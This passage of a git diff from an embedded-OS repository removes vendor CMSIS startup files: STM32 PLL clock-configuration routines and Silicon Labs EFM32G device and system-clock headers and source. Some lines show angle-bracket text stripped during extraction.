PCLK1 prescalers. - * @param None - * @retval None - */ -static void SetSysClock(void) -{ -#if defined(SYSCLK_FREQ_24MHz) - SetSysClockTo24(); -#elif defined(SYSCLK_FREQ_36MHz) - SetSysClockTo36(); -#elif defined(SYSCLK_FREQ_48MHz) - SetSysClockTo48(); -#elif defined(SYSCLK_FREQ_56MHz) - SetSysClockTo56(); -#elif defined(SYSCLK_FREQ_80MHz) - SetSysClockTo80(); -#elif defined(HSE_VALUE) - SetSysClockToHSE(); -#elif defined(RUN_WITH_HSI) -#error missing code to set sysclock to HSI without PLL -#endif - - /* If none of the define above is enabled, the HSI is used as System clock - source (default after reset) */ -} - -#if defined(SYSCLK_FREQ_24MHz) -/** - * @brief Sets System clock frequency to 24MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo24(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifdef HSE_VALUE //By silseva - HSEStatus = EnableHSE(); - #elif defined(RUN_WITH_HSI) - HSEStatus = EnableHSI(); - #endif //RUN_WITH_HSI - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash one wait state */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_1WS; - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* - * PLL configuration: - * - * - Fpll = (Fin/M)*N - * - System clock: Fpll/R - * - 48MHz clock: Fpll/Q - * - * To go @24MHz we set: - * - * - Fpll = 96MHz - * - R = 4 - * - Q = 2 - * - N = 24 -> PLL input frequency has to be 4MHz - */ - - RCC->PLLCFGR = 0; - RCC->PLLCFGR |= (uint32_t)(24 << RCC_PLLCFGR_PLLN_Pos); - RCC->PLLCFGR |= (uint32_t)RCC_PLLCFGR_PLLR_0; /* PLLR -> divide by four */ - RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; - - #ifdef HSE_VALUE - RCC->PLLCFGR |= ((HSE_VALUE/1000000)/4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSE); - #elif defined RUN_WITH_HSI - /* 16MHz HSI -> M = 4 */ - RCC->PLLCFGR |= (4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSI); - #else - /* 4MHz MSI -> M = 1 */ - RCC->PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_MSI); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined(SYSCLK_FREQ_36MHz) -/** - * @brief Sets System clock frequency to 36MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo36(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifdef HSE_VALUE //By silseva - HSEStatus = EnableHSE(); - #elif defined RUN_WITH_HSI - HSEStatus = EnableHSI(); - #endif //RUN_WITH_HSI - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash two wait states */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_2WS; - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* - * PLL configuration: - * - * - Fpll = (Fin/M)*N - * - System clock: Fpll/R - * - 48MHz clock: Fpll/Q - * - * To go @36MHz we set: - * - * - Fpll = 144MHz (must be >=96MHz due to errata) - * - R = 4 - * - Q = 4 -> 48MHz clock is 36MHz instead - * - N = 36 -> PLL input frequency has to be 4MHz - */ - - RCC->PLLCFGR = 0; - RCC->PLLCFGR |= (uint32_t)(36 << RCC_PLLCFGR_PLLN_Pos); - RCC->PLLCFGR |= (uint32_t)RCC_PLLCFGR_PLLQ_0 | (uint32_t)RCC_PLLCFGR_PLLR_0; - RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; - - #ifdef HSE_VALUE - RCC->PLLCFGR |= ((HSE_VALUE/1000000)/4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSE); - #elif defined RUN_WITH_HSI - /* 16MHz HSI -> M = 4 */ - RCC->PLLCFGR |= (4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSI); - #else - /* 4MHz MSI -> M = 1 */ - RCC->PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_MSI); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined(SYSCLK_FREQ_48MHz) -/** - * @brief Sets System clock frequency to 48MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo48(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifdef HSE_VALUE //By silseva - HSEStatus = EnableHSE(); - #elif defined RUN_WITH_HSI - HSEStatus = EnableHSI(); - #endif //RUN_WITH_HSI - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash two wait states */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_2WS; - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* - * PLL configuration: - * - * - Fpll = (Fin/M)*N - * - System clock: Fpll/R - * - 48MHz clock: Fpll/Q - * - * To go @48MHz we set: - * - * - Fpll = 96MHz - * - R = 2 - * - Q = 2 - * - N = 24 -> PLL input frequency has to be 4MHz - */ - - RCC->PLLCFGR = 0; - RCC->PLLCFGR |= (uint32_t)(24 << RCC_PLLCFGR_PLLN_Pos); - RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; - - #ifdef HSE_VALUE - RCC->PLLCFGR |= ((HSE_VALUE/1000000)/4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSE); - #elif defined RUN_WITH_HSI - /* 16MHz HSI -> M = 4 */ - RCC->PLLCFGR |= (4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSI); - #else - /* 4MHz MSI -> M = 1 */ - RCC->PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_MSI); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined(SYSCLK_FREQ_56MHz) -/** - * @brief Sets System clock frequency to 56MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo56(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifdef HSE_VALUE //By silseva - HSEStatus = EnableHSE(); - #elif defined RUN_WITH_HSI - HSEStatus = EnableHSI(); - #endif //RUN_WITH_HSI - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash three wait states */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_3WS; - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* - * PLL configuration: - * - * - Fpll = (Fin/M)*N - * - System clock: Fpll/R - * - 48MHz clock: Fpll/Q - * - * To go @56MHz we set: - * - * - Fpll = 112MHz - * - R = 2 - * - Q = 4 -> 48MHz clock is 28MHz instead - * - N = 28 -> PLL input frequency has to be 4MHz - */ - - RCC->PLLCFGR = 0; - RCC->PLLCFGR |= (uint32_t)(28 << RCC_PLLCFGR_PLLN_Pos); - RCC->PLLCFGR |= (uint32_t)RCC_PLLCFGR_PLLQ_0; /* PLLQ -> divide by four */ - RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; - - #ifdef HSE_VALUE - RCC->PLLCFGR |= ((HSE_VALUE/1000000)/4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSE); - #elif defined RUN_WITH_HSI - /* 16MHz HSI -> M = 4 */ - RCC->PLLCFGR |= (4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSI); - #else - /* 4MHz MSI -> M = 1 */ - RCC->PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_MSI); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined(SYSCLK_FREQ_80MHz) -/** - * @brief Sets System clock frequency to 80MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo80(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifdef HSE_VALUE //By silseva - HSEStatus = EnableHSE(); - #elif defined RUN_WITH_HSI - HSEStatus = EnableHSI(); - #endif //RUN_WITH_HSI - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash four wait states */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_4WS; - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* - * PLL configuration: - * - * - Fpll = (Fin/M)*N - * - System clock: Fpll/R - * - 48MHz clock: Fpll/Q - * - * To go @80MHz we set: - * - * - Fpll = 160MHz - * - R = 2 - * - Q = 4 -> 48MHz clock is 40MHz instead - * - N = 40 -> PLL input frequency has to be 4MHz - */ - - RCC->PLLCFGR = 0; - RCC->PLLCFGR |= (uint32_t)(40 << RCC_PLLCFGR_PLLN_Pos); - RCC->PLLCFGR |= RCC_PLLCFGR_PLLREN; - RCC->PLLCFGR |= (uint32_t)RCC_PLLCFGR_PLLQ_0; /* PLLQ -> divide by four */ - RCC->PLLCFGR |= RCC_PLLCFGR_PLLQEN | RCC_PLLCFGR_PLLREN; - - #ifdef HSE_VALUE - RCC->PLLCFGR |= ((HSE_VALUE/1000000)/4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSE); - #elif defined RUN_WITH_HSI - /* 16MHz HSI -> M = 4 */ - RCC->PLLCFGR |= (4-1)<PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_HSI); - #else - /* 4MHz MSI -> M = 1 */ - RCC->PLLCFGR |= (uint32_t)(RCC_PLLCFGR_PLLSRC_MSI); - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x0C) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined(HSE_VALUE) -/** - * @brief Selects HSE as System clock source and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockToHSE(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* Enable HSE and wait till is ready and if Time out is reached exit */ - HSEStatus = EnableHSE(); - - if (HSEStatus == (uint32_t)0x01) - { - - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTEN; - - /* Flash 0 wait state */ - FLASH->ACR &= (uint32_t)((uint32_t)~FLASH_ACR_LATENCY); - - /* See RM0394 at page 79 */ - #if (HSE_VALUE > 16000000) && (HSE_VALUE <= 32000000) - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_1WS; - #elif (HSE_VALUE > 32000000) && (HSE_VALUE <= 48000000) - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_2WS; - #elif (HSE_VALUE > 48000000) && (HSE_VALUE <= 64000000) - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_3WS; - #elif (HSE_VALUE > 64000000) && (HSE_VALUE <= 80000000) - FLASH->ACR |= (uint32_t)FLASH_ACR_LATENCY_4WS; - #endif - - /* HCLK = SYSCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* Select HSE as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_HSE; - - /* Wait till HSE is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#endif - -// end addition - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/em_device.h b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/em_device.h deleted file mode 100644 index 9122dbc14..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/em_device.h +++ /dev/null @@ -1,146 +0,0 @@ -/**************************************************************************//** - * @file em_device.h - * @brief CMSIS Cortex-M Peripheral Access Layer for Silicon Laboratories - * microcontroller devices - * - * This is a convenience header file for defining the part number on the - * build command line, instead of specifying the part specific header file. - * - * @verbatim - * Example: Add "-DEFM32G890F128" to your build options, to define part - * Add "#include "em_device.h" to your source files - * - * - * @endverbatim - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#ifndef __SILICON_LABS_EM_DEVICE_H__ -#define __SILICON_LABS_EM_DEVICE_H__ - -#if defined(EFM32G200F16) -#include "efm32g200f16.h" - -#elif defined(EFM32G200F32) -#include "efm32g200f32.h" - -#elif defined(EFM32G200F64) -#include "efm32g200f64.h" - -#elif defined(EFM32G210F128) -#include "efm32g210f128.h" - -#elif defined(EFM32G222F128) -#include "efm32g222f128.h" - -#elif defined(EFM32G222F32) -#include "efm32g222f32.h" - -#elif defined(EFM32G222F64) -#include "efm32g222f64.h" - -#elif defined(EFM32G230F128) -#include "efm32g230f128.h" - -#elif defined(EFM32G230F32) -#include "efm32g230f32.h" - -#elif defined(EFM32G230F64) -#include "efm32g230f64.h" - -#elif defined(EFM32G232F128) -#include "efm32g232f128.h" - -#elif defined(EFM32G232F32) -#include "efm32g232f32.h" - -#elif defined(EFM32G232F64) -#include "efm32g232f64.h" - -#elif defined(EFM32G280F128) -#include "efm32g280f128.h" - -#elif defined(EFM32G280F32) -#include "efm32g280f32.h" - -#elif defined(EFM32G280F64) -#include "efm32g280f64.h" - -#elif defined(EFM32G290F128) -#include "efm32g290f128.h" - -#elif defined(EFM32G290F32) -#include "efm32g290f32.h" - -#elif defined(EFM32G290F64) -#include "efm32g290f64.h" - -#elif defined(EFM32G800F128) -#include "efm32g800f128.h" - -#elif defined(EFM32G840F128) -#include "efm32g840f128.h" - -#elif defined(EFM32G840F32) -#include "efm32g840f32.h" - -#elif defined(EFM32G840F64) -#include "efm32g840f64.h" - -#elif defined(EFM32G842F128) -#include "efm32g842f128.h" - -#elif defined(EFM32G842F32) -#include "efm32g842f32.h" - -#elif defined(EFM32G842F64) -#include "efm32g842f64.h" - -#elif defined(EFM32G880F128) -#include "efm32g880f128.h" - -#elif defined(EFM32G880F32) -#include "efm32g880f32.h" - -#elif defined(EFM32G880F64) -#include "efm32g880f64.h" - -#elif defined(EFM32G890F128) -#include "efm32g890f128.h" - -#elif defined(EFM32G890F32) -#include "efm32g890f32.h" - -#elif defined(EFM32G890F64) -#include "efm32g890f64.h" - -#else -#error "em_device.h: PART NUMBER undefined" -#endif -#endif /* __SILICON_LABS_EM_DEVICE_H__ */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/system_efm32g.h b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/system_efm32g.h deleted file mode 100644 index 38d1da93b..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/system_efm32g.h +++ /dev/null @@ -1,132 +0,0 @@ -/***************************************************************************//** - * @file system_efm32g.h - * @brief CMSIS Cortex-M3 System Layer for EFM32G devices. - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#ifndef __SILICON_LABS_SYSTEM_EFM32G_H__ -#define __SILICON_LABS_SYSTEM_EFM32G_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -/******************************************************************************* - ************************** GLOBAL VARIABLES ******************************* - ******************************************************************************/ - -extern uint32_t SystemCoreClock; /**< System Clock Frequency (Core Clock) */ - -/******************************************************************************* - ***************************** PROTOTYPES ********************************** - ******************************************************************************/ - -/* Interrupt routines - prototypes */ -//By TFT: we don't want those in an extern "C" block under Miosix -#if 0 -#if defined(_EFM32_GECKO_FAMILY) -void Reset_Handler(void); -void NMI_Handler(void); -void HardFault_Handler(void); -void MemManage_Handler(void); -void BusFault_Handler(void); -void UsageFault_Handler(void); -void SVC_Handler(void); -void DebugMon_Handler(void); -void PendSV_Handler(void); -void SysTick_Handler(void); -void DMA_IRQHandler(void); -void GPIO_EVEN_IRQHandler(void); -void TIMER0_IRQHandler(void); -void USART0_RX_IRQHandler(void); -void USART0_TX_IRQHandler(void); -void ACMP0_IRQHandler(void); -void ADC0_IRQHandler(void); -void DAC0_IRQHandler(void); -void I2C0_IRQHandler(void); -void GPIO_ODD_IRQHandler(void); -void TIMER1_IRQHandler(void); -void TIMER2_IRQHandler(void); -void USART1_RX_IRQHandler(void); -void USART1_TX_IRQHandler(void); -void USART2_RX_IRQHandler(void); -void USART2_TX_IRQHandler(void); -void UART0_RX_IRQHandler(void); -void UART0_TX_IRQHandler(void); -void LEUART0_IRQHandler(void); -void LEUART1_IRQHandler(void); -void LETIMER0_IRQHandler(void); -void PCNT0_IRQHandler(void); -void PCNT1_IRQHandler(void); -void PCNT2_IRQHandler(void); -void RTC_IRQHandler(void); -void CMU_IRQHandler(void); -void VCMP_IRQHandler(void); -void LCD_IRQHandler(void); -void MSC_IRQHandler(void); -void AES_IRQHandler(void); -#endif -#endif - -uint32_t SystemCoreClockGet(void); - -/**************************************************************************//** - * @brief - * Update CMSIS SystemCoreClock variable. - * - * @details - * CMSIS defines a global variable SystemCoreClock that shall hold the - * core frequency in Hz. If the core frequency is dynamically changed, the - * variable must be kept updated in order to be CMSIS compliant. - * - * Notice that if only changing core clock frequency through the EFM32 CMU - * API, this variable will be kept updated. This function is only provided - * for CMSIS compliance and if a user modifies the the core clock outside - * the CMU API. - *****************************************************************************/ -static __INLINE void SystemCoreClockUpdate(void) -{ - SystemCoreClockGet(); -} - -void SystemInit(void); -uint32_t SystemHFClockGet(void); -uint32_t SystemHFXOClockGet(void); -void SystemHFXOClockSet(uint32_t freq); -uint32_t SystemLFRCOClockGet(void); -uint32_t SystemULFRCOClockGet(void); -uint32_t SystemLFXOClockGet(void); -void SystemLFXOClockSet(uint32_t freq); - -#ifdef __cplusplus -} -#endif -#endif /* __SILICON_LABS_SYSTEM_EFM32G_H__ */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Source/system_efm32g.c b/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Source/system_efm32g.c deleted file mode 100644 index 40503f3fe..000000000 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Source/system_efm32g.c +++ /dev/null @@ -1,387 +0,0 @@ -/***************************************************************************//** - * @file system_efm32g.c - * @brief CMSIS Cortex-M3 System Layer for EFM32G devices. - * @version 4.0.0 - ****************************************************************************** - * @section License - * (C) Copyright 2015 Silicon Laboratories, Inc. http://www.silabs.com - ****************************************************************************** - * - * Permission is granted to anyone to use this software for any purpose, - * including commercial applications, and to alter it and redistribute it - * freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you must not - * claim that you wrote the original software.@n - * 2. Altered source versions must be plainly marked as such, and must not be - * misrepresented as being the original software.@n - * 3. This notice may not be removed or altered from any source distribution. - * - * DISCLAIMER OF WARRANTY/LIMITATION OF REMEDIES: Silicon Laboratories, Inc. - * has no obligation to support this Software. Silicon Laboratories, Inc. is - * providing the Software "AS IS", with no express or implied warranties of any - * kind, including, but not limited to, any implied warranties of - * merchantability or fitness for any particular purpose or warranties against - * infringement of any proprietary rights of a third party. - * - * Silicon Laboratories, Inc. will not be liable for any consequential, - * incidental, or special damages, or any other relief, or for any claim by - * any third party, arising from your use of this Software. - * - *****************************************************************************/ - -#include -//By TFT: was #include "em_device.h", but the specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" - -/******************************************************************************* - ****************************** DEFINES ************************************ - ******************************************************************************/ - -/** LFRCO frequency, tuned to below frequency during manufacturing. */ -#define EFM32_LFRCO_FREQ (32768UL) -#define EFM32_ULFRCO_FREQ (1000UL) - -/******************************************************************************* - ************************** LOCAL VARIABLES ******************************** - ******************************************************************************/ - -/* System oscillator frequencies. These frequencies are normally constant */ -/* for a target, but they are made configurable in order to allow run-time */ -/* handling of different boards. The crystal oscillator clocks can be set */ -/* compile time to a non-default value by defining respective EFM32_nFXO_FREQ */ -/* values according to board design. By defining the EFM32_nFXO_FREQ to 0, */ -/* one indicates that the oscillator is not present, in order to save some */ -/* SW footprint. */ - -#ifndef EFM32_HFXO_FREQ -#ifdef _EFM32_GIANT_FAMILY -#define EFM32_HFXO_FREQ (48000000UL) -#else -#define EFM32_HFXO_FREQ (32000000UL) -#endif -#endif -/* Do not define variable if HF crystal oscillator not present */ -#if (EFM32_HFXO_FREQ > 0) -/** @cond DO_NOT_INCLUDE_WITH_DOXYGEN */ -/** System HFXO clock. */ -static uint32_t SystemHFXOClock = EFM32_HFXO_FREQ; -/** @endcond (DO_NOT_INCLUDE_WITH_DOXYGEN) */ -#endif - -#ifndef EFM32_LFXO_FREQ -#define EFM32_LFXO_FREQ (EFM32_LFRCO_FREQ) -#endif -/* Do not define variable if LF crystal oscillator not present */ -#if (EFM32_LFXO_FREQ > 0) -/** @cond DO_NOT_INCLUDE_WITH_DOXYGEN */ -/** System LFXO clock. */ -static uint32_t SystemLFXOClock = EFM32_LFXO_FREQ; -/** @endcond (DO_NOT_INCLUDE_WITH_DOXYGEN) */ -#endif - -/* Inline function to get the chip's Production Revision. */ -__STATIC_INLINE uint8_t GetProdRev(void) -{ - return ((DEVINFO->PART & _DEVINFO_PART_PROD_REV_MASK) - >> _DEVINFO_PART_PROD_REV_SHIFT); -} - -/******************************************************************************* - ************************** GLOBAL VARIABLES ******************************* - ******************************************************************************/ - -/** - * @brief - * System System Clock Frequency (Core Clock). - * - * @details - * Required CMSIS global variable that must be kept up-to-date. - */ -uint32_t SystemCoreClock; - -/******************************************************************************* - ************************** GLOBAL FUNCTIONS ******************************* - ******************************************************************************/ - -/***************************************************************************//** - * @brief - * Get the current core clock frequency. - * - * @details - * Calculate and get the current core clock frequency based on the current - * configuration. Assuming that the SystemCoreClock global variable is - * maintained, the core clock frequency is stored in that variable as well. - * This function will however calculate the core clock based on actual HW - * configuration. It will also update the SystemCoreClock global variable. - * - * @note - * This is an EFM32 proprietary function, not part of the CMSIS definition. - * - * @return - * The current core clock frequency in Hz. - ******************************************************************************/ -uint32_t SystemCoreClockGet(void) -{ - uint32_t ret; - - ret = SystemHFClockGet(); -#if defined (_EFM32_GIANT_FAMILY) - /* Leopard/Giant Gecko has an additional divider */ - ret = ret / (1 + ((CMU->CTRL & _CMU_CTRL_HFCLKDIV_MASK)>>_CMU_CTRL_HFCLKDIV_SHIFT)); -#endif - ret >>= 